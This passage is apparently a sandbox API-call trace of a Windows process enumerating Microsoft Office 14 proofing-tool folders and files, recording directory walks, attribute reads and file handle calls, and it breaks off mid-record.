[0079.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc528 [0079.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabc528) returned 1 [0079.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc528 [0079.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabc528) returned 1 [0079.539] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdcf7a00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x97748b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfdcf7a00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x517800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3EN.DLL", cAlternateFileName="")) returned 0 [0079.539] GetLastError () returned 0x12 [0079.539] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0079.539] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0079.539] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.539] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdcf7a00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x97748b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfdcf7a00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x517800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3EN.DLL", cAlternateFileName="")) returned 1 [0079.539] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdcf7a00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x97748b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfdcf7a00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x517800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3EN.DLL", cAlternateFileName="")) returned 0 [0079.539] GetLastError () returned 0x12 [0079.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabc4a0) returned 1 [0079.539] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0079.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabc418) returned 1 [0079.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.540] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0079.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.540] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1036"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1036"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0079.542] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0079.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0079.542] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0079.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0079.542] NtClose (Handle=0x164) returned 0x0 [0079.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc418 [0079.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc4a0 [0079.543] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0079.543] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.543] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c189700, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa4551080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6c189700, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0xc6f390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3FR.DLL", cAlternateFileName="")) returned 1 [0079.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc528 [0079.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabc528) returned 1 [0079.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc528 [0079.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabc528) returned 1 [0079.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc528 [0079.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabc528) returned 1 [0079.543] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c189700, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa4551080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6c189700, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0xc6f390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3FR.DLL", cAlternateFileName="")) returned 0 [0079.544] GetLastError () returned 0x12 [0079.544] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0079.544] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0079.544] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.544] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c189700, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa4551080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6c189700, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0xc6f390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3FR.DLL", cAlternateFileName="")) returned 1 [0079.544] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c189700, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa4551080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6c189700, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0xc6f390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3FR.DLL", cAlternateFileName="")) returned 0 [0079.544] GetLastError () returned 0x12 [0079.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabc4a0) returned 1 [0079.544] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0079.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabc418) returned 1 [0079.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.544] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0079.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.544] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\3082"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\3082"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0079.545] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0079.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0079.545] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0079.545] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0079.545] NtClose (Handle=0x174) returned 0x0 [0079.545] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc418 [0079.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc4a0 [0079.546] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0079.546] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.546] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a86c00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x54f4210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6a86c00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x227c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3ES.DLL", cAlternateFileName="")) returned 1 [0079.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc528 [0079.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabc528) returned 1 [0079.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc528 [0079.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabc528) returned 1 [0079.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc528 [0079.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabc528) returned 1 [0079.547] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a86c00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x54f4210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6a86c00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x227c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3ES.DLL", cAlternateFileName="")) returned 0 [0079.547] GetLastError () returned 0x12 [0079.547] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0079.547] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0079.547] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.547] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a86c00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x54f4210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6a86c00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x227c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3ES.DLL", cAlternateFileName="")) returned 1 [0079.547] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a86c00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x54f4210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6a86c00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x227c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3ES.DLL", cAlternateFileName="")) returned 0 [0079.547] GetLastError () returned 0x12 [0079.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabc4a0) returned 1 [0079.547] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0079.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabc418) returned 1 [0079.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69511700, ftCreationTime.dwHighDateTime=0x1c4a9a0, ftLastAccessTime.dwLowDateTime=0x97e6cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69511700, ftLastWriteTime.dwHighDateTime=0x1c4a9a0, nFileSizeHigh=0x0, nFileSizeLow=0x39cf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3EN.LEX", cAlternateFileName="")) returned 1 [0079.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xade5d100, ftCreationTime.dwHighDateTime=0x1c04525, ftLastAccessTime.dwLowDateTime=0x59b6e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xade5d100, ftLastWriteTime.dwHighDateTime=0x1c04525, nFileSizeHigh=0x0, nFileSizeLow=0x4112e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3ES.LEX", cAlternateFileName="")) returned 1 [0079.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x373ef00, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xa459d340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x373ef00, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x19, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3FR.LEX", cAlternateFileName="")) returned 1 [0079.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4343d200, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa206bb80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4343d200, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x36988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHY7EN.DLL", cAlternateFileName="")) returned 1 [0079.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14732f00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa2091ce0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x14732f00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x74200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHY7EN.LEX", cAlternateFileName="")) returned 1 [0079.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ccd3a00, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa6e3aaa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4ccd3a00, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x36988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHY7ES.DLL", cAlternateFileName="")) returned 1 [0079.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16d58900, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6e3aaa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x16d58900, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x23800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHY7ES.LEX", cAlternateFileName="")) returned 1 [0079.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6ae000, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa45c34a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6ae000, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x36988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHY7FR.DLL", cAlternateFileName="")) returned 1 [0079.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14732f00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa45c34a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x14732f00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x43e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHY7FR.LEX", cAlternateFileName="")) returned 1 [0079.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18a49800, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa20ddfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x18a49800, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x1ee380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7EN.DLL", cAlternateFileName="")) returned 1 [0079.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2c5600, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa22cd180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e2c5600, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x1302, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7EN.dub", cAlternateFileName="")) returned 1 [0079.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2980600, ftCreationTime.dwHighDateTime=0x1cbae31, ftLastAccessTime.dwLowDateTime=0xa2091ce0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd2980600, ftLastWriteTime.dwHighDateTime=0x1cbae31, nFileSizeHigh=0x0, nFileSizeLow=0x145e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7EN.LEX", cAlternateFileName="")) returned 1 [0079.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f4aef00, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa6ed3020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f4aef00, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x1ee380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7ES.DLL", cAlternateFileName="")) returned 1 [0079.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47b5be00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6da2520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x47b5be00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, 